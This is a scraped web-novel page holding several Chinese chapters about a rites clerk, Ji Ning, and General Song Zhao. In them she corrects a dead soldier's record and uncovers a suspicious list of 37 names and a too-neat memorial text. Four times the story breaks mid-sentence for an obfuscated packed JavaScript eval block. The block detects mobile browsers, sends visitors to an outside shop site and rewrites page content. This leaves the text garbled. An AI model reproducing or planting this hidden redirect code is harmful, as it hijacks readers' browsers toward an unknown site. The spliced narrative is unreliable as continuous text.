l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548101|204238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋昭这样当场压了一头,也只是微微一顿,随即便重新低头拱手:“将军既如此吩咐,下官自然遵命。季掌簿办事谨慎,是下官方才失言了。” 秦岐在旁边看了半晌,终于轻轻“哼”了一声。他这人脾气直,先前还嫌季柠一个礼部掌簿插手药方,如今见宋昭亲口定了规矩,便也不再多说,只把那张方子重新折起,连带着今日的脉案一并塞进木匣里,显然真打算从这一刻起,连药渣都要照例留着了。 风又大了些,驿站院里的灯火被吹得连晃几下,廊下诸人影子长长短短地投在砖地上。季柠抱着卷宗站在原地,只觉得掌心微热,连呼吸都跟着轻了一下。她原本有些话想说,可眼下这场面显然不适合。她只能把那点刚刚生出来、连自己都不愿承认的异样按回去,面上仍旧端着惯有的轻松模样,冲宋昭弯了弯眼。 宋昭只深深看了季柠一眼,转身往驿站里去:“先安置。” 众人随即散开。 这一夜驿站里灯火亮得格外久。 亲卫守夜,军中换防,厨下熬粥煮药,厩中马匹偶尔低嘶,风一阵阵从驿站院中穿过去,将未关严的窗纸吹得轻轻鼓起。季柠住的屋子在后院角上,比前几日客栈里暖和些。她把旧案一卷卷重新理齐,又将今日那页关于赵槐的抄纸压进贴身小袋里,等手上忙完,窗外已是深夜。 桌上灯火不算亮,她便坐在那一点光底下发呆。她不是个爱多想的人,或者说,她从前总逼着自己别想得太深。可今日廊下那一幕,宋昭一句“谁若有异议,直接来同我说”,还是像一块不轻不重的石头,投进了她心里原本还算平静的水里。 她知道自己不该因此松心。 宋昭仍旧疑她,这一点她很清楚。他带她北上,不是无缘无故;今日在车厢里拿那张旧军册抄页给她看,也绝不只是单纯想同她分享线索。可知道归知道,人心这种东西,有时就是这么不讲理。旁人一句轻飘飘的维护,若来得恰好,便能在你最不想承认的时候,偏偏叫你记住。 她抬手揉了揉眉心,刚要吹灯,窗外却传来一阵极轻的脚步声。 季柠手一顿,抬头看去,只见窗纸上映出一道修长人影。下一刻,有人将什么东西轻轻放在窗下,随后脚步便又悄无声息地远了。 她愣了一下,起身推门出去。 夜风很凉,吹得她立时清醒了几分。窗下放着的是一只小小的铜手炉,炉身不算新,摸上去却还是暖的,里头炭火的热意透过铜壁缓缓渗出来,在这北地的夜里显得格外妥帖。 季柠蹲下身,将那只手炉捧起来,指尖被暖意一熨。 她不用想也知道这东西是谁送来的。这一路北上,只有一个人会在嘴上半句不多说的同时,又把这些细枝末节安排得滴水不漏。 院中空荡荡的,只有远处廊下灯火微黄。宋昭的身影并不在,可季柠抬起头,还是下意识往那边看了一眼。心里那点原本还想嘴硬着往下压的东西,终究还是一点点浮了上来。 这个人,真讨厌。 明明白日里还一副公事公办、冷硬得谁都别想多想的样子,到了夜里,却偏又把手炉悄无声息地放到她窗下,连一句话都不说。好像多说半个字,便要叫人误会了什么。 她抱着手炉回屋时,心里还在骂,可唇角却不自觉地往上轻轻牵了一下。 而在前院另一头,杜衡的房里还亮着灯。 他坐在案后,面前摊着一张薄纸,灯火把他的影子拉得很长。白日里那副温和从容的神情此刻已经收得很淡,眼底只剩下医者常有的平静与另一种说不出的冷。 杜衡提笔蘸墨,字写得极小。 “将军未服全方,季氏多疑。” 他将字条绑在信鸽身上,看信鸽飞向京城的方向。 18. 她又惹事了? 第二日一早,青梧驿外的营地还带着一层夜里未散尽的凉气。远处山脚下有薄雾浮着,草坡上昨夜落的露还没全干,晨光照过去,细细碎碎地亮成一片。营中早已起了火,伙房那边正烧着热汤,烟气裹着米香和木柴味往上冒,与马厩里的草料气混在一处,便有了北上途中独有的、说不上粗糙却很安稳的气息。 宋昭起得一向早,此刻他正坐在案前看昨夜驿站送来的沿途驿报,帐外便传来脚步声。来人掀帘而入时,先是一股淡淡药气跟着涌进来,随后才见秦岐端着一只漆盘站在门口,盘上放着一碗还冒着热气的药,颜色深褐,汤面浮着极淡的苦香,一闻便知不是随便凑出来糊弄人的方子。 秦岐昨夜没睡好,眼下还有些发青,他将药碗放到案边,语气里带着一丝说不上来的别扭:“这是新来的杜医官今早命人煎的,说昨日那张方子若将军不放心,便先煎一剂试试,温补旧伤,不是什么猛药。” 他说这话时,目光还往帐外扫了一眼。毕竟昨夜所有药方药渣一并留底封存的命令,是宋昭当着杜衡的面亲口说出去的。如今杜衡送药送得这样顺理成章,倒越发显得这一碗药的清白。 宋昭坐在案后,目光只在那碗药上停了片刻,便抬眼看向秦岐。 两人对视不过一瞬,秦岐却已经心领神会。于是他咳了一声,抬手端起药碗,先装模作样地凑近闻了闻,又皱着眉像在分辨火候与药量,接着索性把碗往窗边一带,借着整理案上医册的动作,将那一整碗滚热的药无声无息倾进了帐角那只半人高的盆栽里。 那盆栽原是驿站主人养着图个喜气的山茶,叶子绿得发亮,偏偏一路扎营腾帐时被人顺手搬进了主帐,立在那儿显得有些不伦不类。褐色药汁一倒下去,泥土顿时湿了一片,药气也被花木的清苦味压住了大半。秦岐把空碗往旁边一放,又故意将木勺在碗底敲了两下,发出一点不大不小的脆响,像真有人慢条斯理地把药一口口喝完了似的。 他这一套做得颇为熟练,做完还顺势摸了摸自己那点并不存在的长胡子,压低声音道:“若外头有人问起,属下就说将军嫌苦,皱着眉也还是喝下去了,喝完还说比京里的药更难入口。” 宋昭看了他一眼,淡淡道:“你近来废话渐长。” 秦岐本还觉得自己这场戏唱得很像,被他一句话打回来,顿时只剩下悻悻:“属下这不是替将军把戏做足么。”他一边说,一边将空碗和方子一并收进木匣,显然待会儿连这只装过药的碗都得照规矩一起留底。 话音才落,帐外却忽然传来一阵不算太近的喧哗。 那动静一开始并不大,像是几个人在营门口争执,夹着地方口音,说快了便一片含混。可军营本就不是寻常地方,哪怕只是几个人嗓门高了些,也足够叫值守的亲兵皱起眉。很快,又有脚步声由远及近,一名亲兵掀帘进来,抱拳禀道:“将军,营门口出了点事。” 宋昭还未开口,霍青已经从外头大步走了进来,显然也是刚听见动静。他先看了一眼案上的药碗,再听见营门口三个字,眉头先皱了起来:“什么事?” 那亲兵面色有些古怪,道:“是季大人。” 秦岐正在收药匣的手顿了一下,霍青则下意识“啊”了一声:“她又怎么了?” 那亲兵被“又”这个字噎了一下,还是老老实实道:“有几个当地村民一早便守在营门外,说想见将军,门口兄弟们按规矩拦了,他们便闹起来。季大人恰好从后边出来,不知怎么便同他们说上了,这会儿……这会儿像是在吵。” 宋昭原本还坐着,听见“季大人”三个字时,手里翻着的驿报不知为何停了一下,待那亲兵把话说完,他已顺手将纸放下,起身时动作比平日快了些,连他自己大概都没觉出,只有离得最近的秦岐抬眼看了看他,眼底闪过一点极淡的了然,却很识趣地什么都没说。 “谁准她一个人往营门去的?”宋昭语气沉了一层。 那亲兵立刻低头:“属下失职。” 霍青在旁边看得分明,刚想说些什么便被宋昭已经迈出去的脚步压了回去,只得赶紧跟上。秦岐本也想去凑个热闹,可一想到自己手里还端着刚“喝完”的药碗和药渣,最终还是认命地留在帐中。 营门离主帐不算太远,宋昭一路走得很稳,只是步子明显比平日稍快。 霍青跟在后头,越跟越觉得新鲜。西郊埋伏那日,将军都能在礼部院里站得像无事发生,如今不过听说季柠在营门口同几个百姓起了争执,人还没见着,倒先亲自往外来了。若换作平时,霍青大概早开口打趣两句了,可眼下他分明看得出宋昭自己都未必察觉,便只把那点话死死咽了回去。 待走到营门处时,想象中的吵闹倒已经散了大半。 营门外的一小块空地上围着几个人,都是附近村庄的百姓,方才高声争执的人显然是他们,可眼下却都安静了下来,围在一张临时搬出来的旧木桌边。 桌上摊着一张状纸和几样零碎旧物,有块半旧兵牌,还有一小串被布裹着的铜钱。季柠就站在那张木桌旁,低头同其中一个老妇人说着话,手里拿着笔,面前摊着薄薄一册空白簿页。 她今日穿得很素,只一身便于行路的青色官服,外头罩了件浅灰披风,袖口因方才挽过,这会儿还没放下去,露出一截细白的手腕。晨光从营门上方斜斜落下来,正好照在她低下头时露出的那一线脖颈上,白得有些晃眼。她平日里在官署中总是笑,笑起来像春风,此刻却难得收了那点浮在表面的圆滑,只低着头,认认真真地听那老妇人把话说完,眼神和语气都柔和得很,倒像怕自己稍微轻慢一点儿,这些话便会重新掉回那些百姓心里,变成无人愿意再听的哭求。 宋昭脚步微微一顿。 她此刻站在晨光里,竟显得比在凶礼司和礼部时都夺目一些。风吹着她额边的碎发,偶尔落到她脸侧,她也不去拨,只认真的记录着,笔尖在纸上细细走过,替人把那些本来快要被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548102|204238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风吹散的委屈和名字,一点一点重新按回纸面。 霍青也看见了,脚步便下意识慢了下来。他原本还想着,若真有人在营门口闹,将军定要先斥两句规矩,再让人把季掌簿拉开。可眼下这场面,倒显得他们这一行人过来得像是多此一举。 站得最近的是个的妇人,脸被风吹得发红,眼角还有明显哭过的痕迹,身旁一个白发老妇人正拿袖口抹眼泪。季柠把状纸和兵牌一一收好,低声同她们说了几句,妇人的神情先是一怔,随即又像不敢相信,直到季柠重新点头,她才忽然抬起手结结实实朝季柠行了个礼。那老妇人也跟着要拜,季柠被吓了一跳,赶紧伸手去扶,脸上终于露出一点平日里的无奈:“您别这样。下官只是帮着查一查,回头若查不出来,下官还怎么有脸见您。” 这话带着点她惯常哄人的圆润,偏又不叫人觉得敷衍。那妇人原本还红着眼,一听这话,竟硬是被逗出一点笑来,只连连说“季大人是好人”。 好人这两个字,季柠听了倒有些受不了似的忙摆摆手。她刚想往后退一步,那老妇人却已经从身后竹篮里摸出一小筐鸡蛋,硬往她怀里塞:“家里没什么值钱东西,只有自家鸡下的。季大人别嫌弃,带着路上吃,补补身体。” 季柠被那一筐鸡蛋塞得一愣,怀里本就抱着簿册和状纸,这会儿再多一筐鸡蛋,顿时显得有些手忙脚乱。 宋昭站在不远处看了片刻,眼底那点原本压着的沉意,不知不觉便淡了些。他抱臂立在营门阴影里,目光始终落在她身上。 季柠在凶礼司、在宫里同他说话的样子他都见过。那时候的她,圆滑、戒备、时时都给自己留后手,像是风一吹便能换个方向。可眼下她站在一群北地村民中间,捧着状纸和鸡蛋,低头时白皙脖颈被晨光照得发亮,连眼里的耐心都真切得有些刺目。 待那几个村民离开,门口终于重新空下来时,季柠这才回头看见了站在营门阴影里的宋昭。她微微一怔,下意识抱紧了怀里的一大堆东西。 宋昭已经走了过来。 他眼里似乎还残着方才看她同村民说话时未散尽的东西,可到了近前,又只剩平日那种不轻不重的沉静:“季大人很会与人打交道。” 这话听着像夸,又像只是陈述。季柠却莫名有些心热,忙把方才那点被看见的窘意压回去,故作轻松道:“下官若连这点本事都没有,在礼部大概活不过三日。更何况,百姓来递旧状,无非是觉得自己说的话总算有人肯听。听一听,总比把人拦在营门口叫骂强。” 宋昭“嗯”了一声,目光落到她怀里的鸡蛋上。 季柠这才后知后觉地意识到,自己眼下的模样实在有些滑稽。她正想往旁边挪一挪,宋昭却已十分自然地伸出手,把那筐鸡蛋接了过去。沉甸甸一筐鸡蛋落到他手里后,季柠怀里一下轻了,手上却仿佛还残着方才他指尖擦过筐沿时带来的那点热意。 “将军……”她开口时,声音不知为何轻了一些。 19. 被写成失踪的人 宋昭并未觉得这有什么不对,只一手提着那筐鸡蛋,一手替她把滑到臂弯外侧的状纸往里压了压,语气淡淡的:“刚才怎么回事?” 她抿了抿唇,还是把目光落回手里的状纸上,慢慢道:“是附近村里来的。说有一名阵亡士兵的妻子,这些年一直没领到抚恤,因为她丈夫在军册上被写成了失踪,不是阵亡。人不在了,名册却卡在失踪那一栏里,后头一切都接不上了。她前些年也来军营和官府递过几回状子,可不是被驳回来,就是根本没人愿意细看。” 宋昭听着,眉头极轻地皱了一下。 “她丈夫叫什么?” “王成礼。”季柠翻开手里的簿册,指尖落在刚才记下的名字上,“景和九年冬,北营前锋营。兵牌是有的,旧状也有,妻子带着婆母守了这些年,就等一个明白说法。” 她说到这里,微微顿了顿,又补了一句:“下官已经答应她们,会帮着查。若真是文书誊错,总得把失踪改回阵亡,把该给的抚恤补回去。” 宋昭没立刻接话,只垂眼看了看她簿册上那行名字。晨光从营门外打进来,落在纸页上,也照亮她方才因忙碌而微微发热的脸颊,她大概自己都没发现。 宋昭心里某一处忽然轻轻动了一下。 像刀背擦过软甲,不疼却叫人无法完全忽略。 “跟我来。”他说。 季柠一怔:“去哪儿?” “你不是要查?”宋昭看了她一眼,语气里带着一种再自然不过的专断,“那就在我帐里查。” 她原本下意识想说这不合规矩,可话到嘴边,忽然想起前几日霍青说过的那些军中眼光和不满,便又生生咽了回去。她如今在这支北上队伍里,说到底只是个外人。营门口这点旧状,若她自己抱着卷宗和簿子去翻军册,难免要招更多眼。宋昭叫她去他帐中,倒像是先把她圈进自己的地方里,叫旁人再想议论,也得掂量掂量。 她没立刻说话,只低头跟着他往里走。 等到了主帐里,霍青果然很快便来了。 他一路走得急,掀帘进来时身上还带着外头的风。只是他一抬眼,便看见季柠也坐在帐中,面前摊着簿册、兵牌和方才那张旧状纸,脚边甚至还放着宋昭刚替她拎回来的那筐鸡蛋,顿时脚步就是一顿。 “将军……”霍青明显犹豫了一下。 宋昭坐在案后,看都没看他:“说。” 霍青目光在两人之间转了一圈,最终还是把那点犹豫压了下去。他这人最大的好处就是分得清轻重,既然将军没让季柠避开,那便说明眼下这番话要么不必避她,要么就是故意说给她听的。 “军中已经有人在议论了。”霍青低声道,“他们说季大人一路跟着将军北上,本就透着古怪。如今还在营门口替村民翻旧状查军册,更像是朝廷特意派来挑北境错处的。说得再难听些,就是……觉得她查得越深,越可能把北境军推出去背锅。” 帐中顿时静了下来。 季柠原本还在低头理那几样东西,听见这番话,手上动作微微一顿,随即便明白了宋昭为何非要让她到主帐里查。她先前只当他是顺手把人往自己眼皮底下放,好方便盯着。直到此刻才忽然明白,这里还裹着另一层意思。 这种后知后觉的明白,更叫人心里发烫。 季柠没有为自己辩解。她太清楚了,这种时候说自己不是朝廷派来的、自己只是想替人查一个公道,几乎毫无意义。军中人认的是结果,不认你嘴上喊得多真。更何况她心里也明白,霍青这番提醒并非恶意。 所以她只是低头,把状纸往旁边一放,伸手将兵牌、驿站通行册和军籍薄一一摊开。那动作不急不躁,像在礼部值房里摊开最普通的一卷旧档,仿佛外头那些议论根本没落进她耳朵里。 “既如此,”她抬起眼,声音很稳,“下官便不多解释了。先把账对清楚,再让人说话也不迟。” 说完这句,她便低头开始核。 兵牌是旧铜打的,边角磨得厉害,王成礼三个字却还勉强辨得清。军籍薄里有这名字,前锋营,景和九年冬月。再往后翻,是驿站通行册和粮秣领用簿。王成礼那一行写得极细,出营日期、随行人数、去向,都一板一眼。她看得很快,笔尖却稳,哪处有疑,哪处要重核,全在簿边轻轻一点。帐中一时安静得只剩纸页翻动的细响和她偶尔记下一笔时笔尖落纸的声音。 霍青原本还在等她开口辩白,谁知季柠半句多余的话都没有,只埋头做事,反倒叫他也不好再说什么。秦岐后来掀帘进来,看见这副阵仗先是一愣,再看见案上药方和旧状都搁在一处,便也很识趣地站到旁边,只在季柠偶尔要翻军中旧医档时,顺手替她递两卷过来。 一项项对下去,帐中几个人原本各自不同的脸色,也慢慢变了。 尤其是霍青,方才他虽把风声提醒出来,心里未必没有半分疑心。可看着看着,却发现季柠的核对并不是他想的那种挑刺儿。她翻得细问得也细,看到前后冲突的地方并不急着扣罪名,反而先一页页往前补,把王成礼这一路的调防、出营、未归,一点一点接起来。 等核到最后,连帐外守着的几名亲兵都不知什么时候悄悄探了半个身子进来。军中人本不耐烦看这些细碎文书,可那块兵牌、那张旧状和那个苦等多年抚恤的寡妇摆在一处,便由不得他们不多看两眼。更何况季柠翻册时不带半点花哨,动作快思路也清,哪一页有缺,哪一页可证,哪一处誊错,哪一处该改,她都说得清清楚楚。到最后,她将笔一搁,抬头看向霍青时,只有一种极平静的笃定。 “王成礼不是失踪。”她把最后一页军籍薄往前推了推,“景和九年冬,他被调往鹿鸣坡。通行册有出营记录,兵牌在此,后页未归一栏也有记号。之所以最后抚恤总册上写成了失踪,应是后续 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548103|204238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 誊录时被混进了另一批未归人员里。人既是奉调而去,后又在军中旧簿中列作未归,便该按阵亡补发抚恤,不该叫家眷白白守这么多年。” 她低头重新提笔,蘸了墨,“下官把这一条改正,另立补抚文书。回头烦劳霍副将盖北营军印,送回京中与地方衙门并档。” 这话一出,帐中更静了。 谁都听得出来,只要霍青点头,这件拖了多年的旧状便能真正落到纸上、盖上军印、补回抚恤。没有谁要被当场问罪,也没有谁会被她借题发挥。她只是把一个被写错的名字,重新写回了它该在的位置。 霍青盯着那几页被翻得起了毛边的旧册,过了半晌,才缓缓点头:“照季大人说的办。” 他说完这一句,外头那几个原本还带着点不服气的亲兵彼此看了一眼,脸上的神色不知不觉便松了些。军中最恨的是有人借查的名义把人往死里整,但这个礼部掌簿查到最后,不是为了揪谁出来背锅,而是为了把一个被文书抹掉的人重新写回来,那味道便全然不一样了。 宋昭一直坐在不远处没插手。 他看着季柠低头翻册、记档、核对,晨光从帐外斜斜照进来,落在她侧脸,照得那一点本就浅淡的颜色更亮了些。 她查旧册,不是为了挑谁的错,而是在替那些被纸页随手抹掉的人重新写一个名字。 宋昭忽然明白了,为什么西郊石桥那夜,她明明怕得要命,还是会递那张便条。 这人身上最麻烦的地方,从来不是她圆滑,不是她惜命,也不是她嘴上永远留三分。真正麻烦的是,她一旦认定某个人不该被这样写死,便会在所有圆滑和惜命之外,硬生生地伸手去改。 可也正因为如此,才叫人很难不多看她一眼。 等补抚文书真正写好时,帐中的气氛已与方才全然不同。霍青亲手接过那份文书,转头吩咐亲兵立刻去盖印递送。那几个原本对季柠颇有微词的亲兵也不再只是站着看热闹,其中一个甚至主动将那筐鸡蛋往里挪了挪,生怕谁不小心碰翻了。 季柠写完最后一笔,轻轻吹了吹墨迹,才发觉自己肩背已绷得有些发酸。她正要收笔,视线却忽然停在那页名单的中段。 王成礼。 赵槐。 鹿鸣坡。 她的指尖缓缓停住。 方才所有注意力都落在阵亡与失踪之间那点抚恤差错上,如今事情一落定,她再顺着名单往下看,才发现王成礼这一条后头的编组号,竟与赵槐当初在旧军册抄页上的那一批一模一样。 景和九年,北境旧军册,三十七人。 她看着那串数字,背后忽然一凉。刚刚被她补回来的名字,并不是一桩偶然写错的旧案。季柠捏着笔,缓缓抬起头,眼底那点方才因改正文书而生出的松意,已经一点点沉了下去。 “将军……王成礼,也在那批三十七人名单里。” 20. 望陵旧祠 “王成礼,也在那批三十七人名单里。” 季柠这句话落下时,帐中原本因补抚文书写定而稍稍松开的气息,几乎是在一瞬间重新绷紧了。 宋昭将那本军籍薄从她手边接了过去,翻到她方才点住的那一页,又顺着名单往前后扫了一眼。帐外的风声呼啦啦掠过,带动帐门轻轻一晃,晨光从缝隙里斜照进来,恰好落在那串名字上,将“王成礼”“赵槐”“鹿鸣坡”几处字眼照得格外清楚。那些早已被埋进旧纸里的名字,此刻一旦被重新连成一线,便像一排早被写定却迟迟无人发现的死局。 宋昭看完之后,将那军籍薄轻轻合上,抬眼看向霍青:“去把景和九年那批三十七人的调令、军籍、抚恤总册、通行簿,能拿来的都调来。从今日起,季掌簿核对旧册一事,不必再避着。” 霍青一怔。 宋昭又补了一句:“她要看什么,直接送到我帐里。若有人觉得不合规矩,让他自己来同我说。” 季柠坐在案边,没有说话,指尖却微微蜷了一下。 霍青向来最会看宋昭的意思,愣过之后,很快便应了声是。他出去之后,帐中很快又恢复了忙乱。秦岐继续收拾那张温补旧伤的方子和留底的药渣,亲兵们进进出出,脚步声压得极轻,却一趟比一趟快。季柠原本还想再说些什么,可眼见各样卷宗一册册被搬进来,她也只得把那点心思暂且压回去,重新坐到案边。 接下来的几日,路上的行程比她想象得更紧。 队伍过了青梧驿后,便算真正一路朝北。前几日沿路还能时不时见到驿镇和商队,再往后,官道两侧便只剩大片起伏的荒坡与树林。北地的春总不如京城来得柔软,草色刚泛青,土里却还带着未散尽的寒,早晨出发时马蹄踏在地上,偶尔还能踩出一点残霜被碾碎后的白色粉屑。 季柠的马车照旧跟在队伍中,只是位置悄悄换了。原先她还算在中后段,如今却总被安置在宋昭和几名心腹将领之后,离中军最近的地方。白日里行路,她大半时间都缩在车里,膝上摊着军册、调令、抚恤总册,身侧堆着一卷卷刚从中军处调来的旧簿。车轮碾过官道的声音单调而绵长,偶尔有风从帘角钻进来,卷起纸页一角,她便抬手压住,继续一页页往下翻。 宋昭这几日同她说的话依旧不多。 他骑马走在前头,大多数时候只是和霍青、领路的斥候商议行程、补给和探哨。偶尔有人将新调来的旧册送到她车里,最上头总压着一张字迹冷硬的短笺,写着哪几卷需先核、哪几页有疑、哪一类暂缓,一看便知是他亲手批的。更有几回,她在车里看得太久,抬头时才发现不知什么时候已入夜,车旁却早早多添了一盏固定的风灯,灯罩挡得严实,光恰好落在她翻开的书页上。后来一次夜里停宿时,亲眼瞧见宋昭顺手把那盏灯的位置挪了挪,才知道这些看似不值一提的小事,原来也不是全然无主。 若换作旁人,大概早要觉得受了照拂。可季柠偏偏很清楚,这人做这些时脸上半点多余神色都没有,更像是在处理军务的一部分,于是这份照应便真像是她的多想。 她一想起,心里便会有点烦。 可烦归烦,真到了夜里坐在灯下继续翻册,指尖被风吹得发凉时,那点烦里又总会慢慢渗出一点别的东西来,轻得很,像是刚从纸页里翻出来的一粒微尘,落在心上时几乎没有声音,却总在那里,不肯走。 三十七人的名册很快便被核得七七八八。 这些人并不全都死在一处,也不全都被写错成失踪、阵亡或病故,可他们之间总有某些难以言明的共通之处。有人死地早于调令,有人抚恤去处与军籍不合,有人的名字在通行簿上被写进一页又抹去一页。 季柠越看心里越沉。她有时在车里翻册翻到头疼,便掀起帘子往外看一眼。外头天地辽阔,北风扑面,宋昭的背影总在不远处,肩背挺拔,骑在马上,像是这一路再冷的风、再难的地,他都能稳稳压过去。 有一回傍晚宿在荒村边的旧驿站,天黑得早,风又大,军中匆忙扎帐。季柠抱着一卷旧军册下车时,脚下被冻硬的土埂绊了一下,整个人往旁边一歪,册子险些脱手。她还没来得及站稳,手腕便被人一把扶住了。那力道很稳,掌心带着一点因常年握刀而生出的薄茧,贴上来时热得有些烫人。 她抬头时,正撞上宋昭垂下来的目光。 灯火未亮,暮色还在,近得几乎能看见他眉骨在冷风里落下的淡淡阴影。那一瞬间,季柠先是愣住,随即又立刻站直,几乎是下意识想把手抽回来。可宋昭却比她更快一步,已经松开了手,只扫了她怀里的册子一眼:“路看不清就别抱这么多。” 这话说得和训兵差不多,连半点多余关切都听不出来。可偏偏方才手腕上那点被他握过的余热却迟迟散不掉,季柠只能低头去看册子,嘴上还得照旧撑着:“将军说得轻巧,下官若不抱,回头一阵风刮走了,您又得问我为什么连卷旧簿都看不住。” 宋昭闻言,唇边似乎极轻地动了一下,像要笑,却又没有真的笑出来。只道:“人比旧簿值钱些。” 说完这句,他便转身走了,留下季柠站在原地,心口无端跳得有些乱。有些话一旦从他嘴里落出来,又偏偏比谁都更叫人心里发紧。 如此又走了两日,队伍终于在一处背山临水的坡地前停了下来。 望陵旧祠到了。 这地方在北境诸祠中算不上多大,却因供奉着在景和年间北境中阵亡的将士之名,而在军中极有分量。 旧祠建在半山坡上,前头有石阶一路蜿蜒上去,石缝间生着低矮的野草,风吹过时便伏成一片。祠前种着几株年头极久的柏树,树干粗黑,枝叶被北风吹得向一侧微微倾着。 队伍一停,原本还带着行路倦意的北境军便自然而然地收了声。马蹄声慢慢轻了,兵刃入鞘的声响也被压下去,连最年轻的亲兵都把背挺得更直了些。 宋昭率先下马。 他径直上了石阶,风吹得他衣袍猎猎,像山坡上那几株老柏投下来的影。霍青和几位随行将领紧跟其后,原本还各自带着些路上风尘与军务神色,此刻也都不约而同地肃了下来。 季柠跟在后头。 旧祠的门半开着,里头不算宽敞,正中供着密密一整墙木牌,黑底金字,按年份、营号、战事一列列排开。香火并不算浓,却一直未断,淡淡青烟在殿中绕着梁柱往上走,叫这地方既不像寻常庙宇那样喧闹,反倒多了几分说不出的肃穆。守祠的是个头发花白的老人,背已微驼,见宋昭进来,忙放下手里拂尘般的旧扫帚,上前便拜。 宋昭扶了他一把,老人连声道不敢,眼里却分明带了些发亮的热意:“将军今年来得比往年早些。” “今年行军速度较快。”宋昭回应着老者,目光落到了那一整墙牌位上。 他上前,亲自取香、点火、奉上。殿中一时静得只剩香头烧着时那一点极轻的噼啪声。随着他上香,后头一众将领和亲兵也都跟着依次行礼。香烟浮起来,顺着他的肩背、鬓角一路往上,模糊了他平日里太过锋利冷沉的轮廓,竟显出几分少见的沉静来。 祭拜完后,他并没有立刻离开,而是沿着那一排排牌位慢慢往里走。 “王二。”他忽然停住,目光落在其中一块牌位上,声音很低,却在这静得过头的祠堂里听得极清楚,“这小子嘴馋,活着的时候最爱偷炊房的咸肉。霍青,你后来去过他家没有?” 霍青低声应道:“去过。家里老母还在,前年腿脚不大利索,属下已让人把春冬两季的抚恤提早送去。” 宋昭点了点头,目光又移向旁边另一块牌位:“李荣安,家中有个瞎了眼的娘,还有个刚会走路的女儿。那孩子今年也该八岁了。” 旁边一名年长的亲兵低声道:“是。去年属下路过时见过,已经能替家里放羊了。” 宋昭手指在牌位边缘轻轻敲了一下,像是在替自己记住,又像是在替死者把身后的日子一日日接下去。再往前,他又停在一块牌位前:“程七死前还同我念叨,说等这仗打完,他回乡之后第一件事便是娶隔壁村那卖豆腐的姑娘。可惜豆腐还没吃上,人先没了。” 这话说出来时,祠中竟有几个人极轻地笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548104|204238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一下。 那笑里没有轻慢,反而带着一种只在旧日战场同袍之间才会有的熟稔与酸涩。像是那些早已死去多年的名字,随着这几句细碎得近乎琐屑的话,又从牌位后的冷木头里重新活了一下。 季柠站在后头,看着这一幕,心口忽然像被什么东西轻轻撞了一下。 季柠忽然想起自己在凶礼司里一次次翻旧档、改名字、查错页时心里那个说不清的执念。原来这世上还有另一个人,也在用自己的法子,记着那些不该被忘掉的人。 她心里那点原本一直没彻底放下的提防,在这一刻竟无声无息地松动了一角。 祭祀结束后,宋昭并未立刻带人离开,而是让队伍在祠外稍作停顿。守祠老人显然与北境军很熟,知道谁爱喝浓茶,谁年纪大了腿脚不好,甚至还从后屋端出一壶温得正好的热水给几位老兵暖手。季柠顺势同他问起景和九年的旧祭文。老人愣了一下,倒没多问什么,只领着她去了偏殿后头一间存放旧文书的小屋。 屋里比前殿更暗些,窗子小,空气里堆着经年累月的纸灰与香火味。季柠在一摞摞祭文副本里翻得很快,不多时便抽出了景和九年那一卷。纸页比她想的更新,保存得很妥帖,展开时几乎没有太多脆裂声。她低头一看,只一眼,心里便陡然发寒。 这祭文太工整了。 不是说它写得多好,而是太像凶礼司里常用来预拟的祭文套式。起首的颂辞、转折处点名战事、末尾抚恤与吊祭的收束,每一处都像先在案上来回改过许多遍,甚至连某几处故意留给后头增删的空白都在。可战事那样急,战后本该是伤兵未敛、尸骨未清,哪来这样周整从容的工夫去慢慢写一篇一点破绽都无的祭文? 她心里那股不安几乎在一瞬间蹿了上来,随即迅速去看祭文里点名的那批将士。看着看着,她指尖便停住了。 三十七个名字。 排列顺序,与她手里那份旧册一模一样。 那顺序严丝合缝,像从同一页纸上誊下来的。若说只是战后照阵亡簿顺手抄录也罢,可偏偏她已经知道,那份旧军册里至少有赵槐的死地,是早于调令写进去的。如今连祭文都和它同序,这便不只是文吏偷懒,而像有人先有了一份名单,再由旧军册、祭文、乃至后来那些抚恤簿一一照着往下写。 她只觉得掌心一点点发凉。 “怎么了?”身后忽然传来宋昭的声音。 季柠回头时,才发现他不知何时也进来了。屋里光线太暗,他站在门边,那一身深色衣袍几乎与阴影融在一处,只眉眼在窗缝漏下来的光里显得更利落些。他显然是看她久久未出来,才亲自进来找人。此刻见她脸色发白,便往前走了两步,停在她身侧。 